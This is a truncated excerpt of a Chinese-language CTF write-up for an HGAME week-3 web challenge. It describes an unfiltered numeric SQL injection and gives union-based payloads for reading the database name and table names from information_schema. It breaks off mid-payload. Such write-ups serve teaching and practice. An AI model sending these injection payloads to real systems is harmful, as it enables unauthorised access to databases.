HGAME-WEEK3-WRITE-UP

HGAME-WEEK3-WRITE-UP WEB 送分的SQLi 這題非常簡單，什麼過濾都沒有就是簡單的有回顯數字型SQL注入。 所以我們可以直接構造union注入就可以完成所有操作 /*庫名*/ id=1 union select database(),1 /*表名*/ id=1 union select table_name,1 from information_schema.tables w

>>阅读原文<<